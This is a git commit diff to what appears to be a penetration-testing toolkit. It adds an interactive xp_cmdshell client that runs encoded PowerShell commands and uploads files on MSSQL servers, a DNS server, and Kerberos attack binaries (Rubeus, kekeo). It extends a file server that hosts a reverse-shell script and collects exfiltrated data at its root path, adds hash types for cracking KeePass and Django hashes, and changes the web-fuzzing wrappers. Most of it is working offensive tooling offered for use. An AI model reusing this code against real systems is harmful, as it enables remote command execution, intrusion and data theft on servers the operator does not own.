This commit is contained in:
Roman Hergenreder 2021-08-28 13:41:46 +02:00
parent b034e9c800
commit 78e5fd16d9
10 changed files with 346 additions and 23 deletions

@ -2,7 +2,7 @@ import os
import sys
__doc__ = __doc__ or ""
__all__ = ["util","fileserver","xss_handler","genRevShell"]
__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"]
inc_dir = os.path.dirname(os.path.realpath(__file__))
sys.path.append(inc_dir)

@ -61,6 +61,7 @@ class HashType(enum.Enum):
# python
PYTHON_PBKDF2_SHA256 = 20300
PYTHON_PBKDF2_SHA512 = 20200
DJANGO_PBKDF2_SHA256 = 10000
# Windows
LM = 3000
@ -73,6 +74,9 @@ class HashType(enum.Enum):
KERBEROS_TGS_REP = 13100
KERBEROS_AS_REP = 18200
# Keepass
KEEPASS = 13400
class Hash:
def __init__(self, hash):
@ -114,6 +118,10 @@ class Hash:
self.type.append(HashType.PYTHON_PBKDF2_SHA256)
elif crypt_type == "pbkdf2-sha512":
self.type.append(HashType.PYTHON_PBKDF2_SHA512)
elif crypt_type == "keepass":
self.type.append(HashType.KEEPASS)
elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"):
self.type.append(HashType.DJANGO_PBKDF2_SHA256)
else:
if ":" in raw_hash:
parts = raw_hash.split(":")

142
dnsserver.py Normal file

@ -0,0 +1,142 @@
#!/usr/bin/env python
# coding=utf-8
import argparse
import datetime
import sys
import time
import threading
import traceback
import socketserver
import struct
try:
from dnslib import *
except ImportError:
print("Missing dependency dnslib: <https://pypi.python.org/pypi/dnslib>. Please install it with `pip`.")
sys.exit(2)
class DnsServer:
class BaseRequestHandler(socketserver.BaseRequestHandler):
def get_data(self):
raise NotImplementedError
def send_data(self, data):
raise NotImplementedError
def handle(self):
now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')
try:
data = self.get_data()
self.send_data(self.server.server.dns_response(data))
except Exception:
traceback.print_exc(file=sys.stderr)
class TCPReqImpl(BaseRequestHandler):
def get_data(self):
data = self.request.recv(8192).strip()
sz = struct.unpack('>H', data[:2])[0]
if sz < len(data) - 2:
raise Exception("Wrong size of TCP packet")
elif sz > len(data) - 2:
raise Exception("Too big TCP packet")
return data[2:]
def send_data(self, data):
sz = struct.pack('>H', len(data))
return self.request.sendall(sz + data)
class UDPReqImpl(BaseRequestHandler):
def get_data(self):
return self.request[0].strip()
def send_data(self, data):
return self.request[1].sendto(data, self.client_address)
class UDPImpl(socketserver.ThreadingUDPServer):
def __init__(self, server):
super().__init__((server.bind_addr, server.listen_port), DnsServer.UDPReqImpl)
self.server = server
class TCPImpl(socketserver.ThreadingTCPServer):
def __init__(self, server):
super().__init__((server.bind_addr, server.listen_port), DnsServer.TCPReqImpl)
self.server = server
def __init__(self, addr, port=53):
self.bind_addr = addr
self.listen_port = port
self.sockets = []
self.threads = []
self.sockets.append(DnsServer.UDPImpl(self))
self.sockets.append(DnsServer.TCPImpl(self))
self.entries = { "A": {}, "AAAA": {}, "MX": {}, "TXT": {}, "NS": {} }
self.debug = False
self.ttl = 60 * 5
self.logging = False
def addEntry(self, type, domain, value):
if type not in self.entries:
print("Invalid type, must be one of:", self.entries.keys())
return False
if not domain.endswith("."):
domain += "."
if type in ["A","MX","NS"]:
value = A(value)
elif type in ["AAAA"]:
value = AAAA(value)
elif type in ["TXT"]:
value = CNAME(value)
if self.debug:
print(f"Added entry: {type} {domain} => {value}")
self.entries[type][domain] = value
return True
def startBackground(self):
for socket in self.sockets:
t = threading.Thread(target=socket.serve_forever)
t.start()
self.threads.append(t)
def start(self):
self.startBackground()
map(lambda t: t.join(), self.threads)
def stop(self):
map(lambda s: s.shutdown(), self.sockets)
map(lambda t: t.join(), self.threads)
def dns_response(self, data):
request = DNSRecord.parse(data)
if self.debug:
print("DNS REQUEST:", request)
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
qtype = request.q.qtype
qt = QTYPE[qtype]
if qt in self.entries and qn in self.entries[qt]:
entry = self.entries[qt][qn]
rqt = entry.__class__.__name__
reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=self.ttl, rdata=entry))
if self.logging:
print(f"Request: {qt} {qn} -> {entry}")
if self.debug:
print("DNS RESPONSE:", reply)
return reply.pack()

@ -40,6 +40,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
if contentLength and int(contentLength) > 0:
data = self.rfile.read(int(contentLength))
if "Host" in self.headers:
del self.headers["Host"]
method = self.command
print(target, "=>", method, target_rewrite)
res = requests.request(method, target_rewrite, headers=self.headers, data=data)
@ -65,6 +68,11 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if not self.server.is_running:
self.send_response(200)
self.end_headers()
return
path = self.server.cleanPath(self.path)
route = self.find_route(path)
result = route(self)
@ -74,6 +82,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
data = b"" if len(result) < 2 else result[1]
headers = { } if len(result) < 3 else result[2]
if len(headers) == 0:
self.send_response(status_code)
else:
self.log_request(status_code)
self.send_response_only(status_code)
@ -89,14 +100,14 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
if data and self.command.upper() not in ["HEAD","OPTIONS"]:
self.wfile.write(data)
if path in self.server.dumpRequests:
if path in self.server.dumpRequests or "/" in self.server.dumpRequests:
contentLength = self.headers.get('Content-Length')
body = None
if contentLength and int(contentLength) > 0:
body = self.rfile.read(int(contentLength))
print("==========")
print("===== Connection from:",self.client_address[0])
print("%s %s %s" % (self.command, self.path, self.request_version))
print(str(self.headers).strip())
if body:
@ -127,11 +138,14 @@ class HttpFileServer(HTTPServer):
return path.strip()
def addFile(self, name, data):
def addFile(self, name, data, mimeType=None):
if isinstance(data, str):
data = data.encode("UTF-8")
# return 200 - OK and data
if mimeType:
self.addRoute(name, lambda req: (200, data, { "Content-Type": mimeType }))
else:
self.addRoute(name, lambda req: (200, data))
def dumpRequest(self, name):
@ -179,6 +193,8 @@ class HttpFileServer(HTTPServer):
def stop(self):
self.is_running = False
# dummy request
requests.get(f"http://{self.server_name}:{self.server_port}/dummy")
def serve_forever(self):
while self.is_running:
@ -200,9 +216,8 @@ if __name__ == "__main__":
fileServer.addFile("shell.sh", rev_shell)
print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)
elif sys.argv[1] == "dump":
fileServer.dumpRequest("/exfiltrate")
fileServer.dumpRequest("/")
print("Exfiltrate data using: http://%s/exfiltrate" % ipAddress)
print("Exfiltrate data using: http://%s/" % ipAddress)
elif sys.argv[1] == "proxy":
url = "https://google.com" if len(sys.argv) < 3 else sys.argv[2]
fileServer.forwardRequest("/proxy", url)

@ -6,6 +6,8 @@ import pty
import util
import time
import threading
import readline
def generatePayload(type, local_address, port):

@ -6,11 +6,4 @@ if [ $# -lt 1 ]; then
fi
HOST=$1
EXTENSIONS=""
if [ $# -gt 1 ]; then
EXTENSIONS="-x ${2}"
fi
gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \
-k "${EXTENSIONS}" -b "403,404"
gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" -b "403,404" "${@:2}"

@ -33,4 +33,4 @@ echo "[ ] Fuzzing…"
ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \
-u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}"
-u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}"

BIN
win/Rubeus.exe Normal file

Binary file not shown.

BIN
win/kekeo.exe Normal file

Binary file not shown.

163
xp_cmdshell.py Normal file

@ -0,0 +1,163 @@
# /usr/bin/env python3
# interactive xp_cmdshell
# with impacket and cmd
# used https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py for reference
import os, cmd, sys, re, base64
from impacket import tds
import readline
class XpShell(cmd.Cmd):
def __init__(self, SQLObj):
cmd.Cmd.__init__(self)
self.sql = SQLObj
self.prompt = 'xp_cmd> '
self.file = None
def powershell_encode(self, data):
return base64.b64encode(data.encode('UTF-16LE')).decode()
def powershell_encode_binary(self, data):
return base64.b64encode(data).decode()
# interpret every line as system command
def default(self, arg):
try:
if pwsh:
new_arg = 'powershell -encodedCommand {}'
arg = new_arg.format(self.powershell_encode(arg))
self.execute_query(arg)
except ConnectionResetError as e:
self.reconnect_mssql()
self.execute_query(arg)
except Exception as e:
print('Exception: ')
print(str(e))
pass
# i wont say what it does
def do_exit(self, arg):
exit()
# ? yes
def do_help(self, arg):
print("""
you found the help command
pwsh - Toggle powershell on/off
upload <src> <dest> - upload a file
exit - i wont say what it does
""")
def do_upload(self, data, dest):
writeme = bytearray() # contains bytes to be written
try:
# create/overwrite the target file with powershell
cmd = 'New-Item -Path {} -Force'.format(dest)
cmd = self.powershell_encode(cmd)
self.execute_query('powershell -encodedCommand {}'.format(cmd))
except FileNotFoundError as e:
print('File not found.')
return
except ConnectionResetError as e:
self.reconnect_mssql()
self.execute_query('powershell -encodedCommand {}'.format(cmd))
except Exception as e:
print('Exception: ')
print(str(e))
return
total_uploaded = 0 # uploaded bytes so far
count = 0 # counter to run through byte array
write_count = 2000 # write 2000 bytes with each command
# run through all bytes of the file which have been saved in data
for b in data:
writeme.append(b)
# write 'write_count' bytes with each command
if count != 0 and count % write_count == 0:
self.write_bytes_to_file(writeme, dest)
writeme = bytearray()
total_uploaded += write_count
count = 0
print('Uploaded {} of {} bytes'.format(total_uploaded,len(data)))
count += 1
# if there are unwritten write them
if count > 0:
self.write_bytes_to_file(writeme, dest)
total_uploaded += count
print('Uploaded {} of {} bytes'.format(total_uploaded, len(data)))
# executed when ConnectionResetError
def reconnect_mssql(self):
print('connection lost attempting to reconnect...')
self.sql.disconnect()
ms_sql, res = connect_mssql()
if res is True:
self.sql = ms_sql
print('Success!')
else:
print('Could not re-establish connection. Exiting.')
exit()
# execute xp_cmdshell command
def execute_query(self, arg):
self.sql.sql_query("exec master..xp_cmdshell '{}'".format(arg))
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*1
self.sql.printRows()
# encodes bytes as base64 and writes them to a file via powershell
def write_bytes_to_file(self, data, target):
data = self.powershell_encode_binary(data)
# cmd to append bytes to file
cmd = "powershell -command \"Add-Content -value ([Convert]::FromBase64String(\'{}\')) -encoding byte -path \'{}\'\"".format(data, target)
cmd = self.powershell_encode(cmd)
# execute file write
try:
self.execute_query('powershell -encodedCommand {}'.format(cmd))
except ConnectionResetError as e:
self.reconnect_mssql()
def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
# do database connection (simple for now)
try:
ms_sql = tds.MSSQL(ip, port)
ms_sql.connect()
res = ms_sql.login(database = None, username=username, password=password, domain=domain)
ms_sql.printReplies()
if res:
return XpShell(ms_sql)
else:
return res
except Exception as e:
print('Exception: ')
print(str(e))
return False
# if __name__ == '__main__':
# # pass commands directly into powershell
# # ./xp_cmdshell.py -powershell
# if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
# pwsh = True
#
# # if connection successful
# ms_sql, res = connect_mssql()
# if res is True:
# shell = XpShell(ms_sql)
# shell.cmdloop()
#
# # close ms_sql
# ms_sql.disconnect()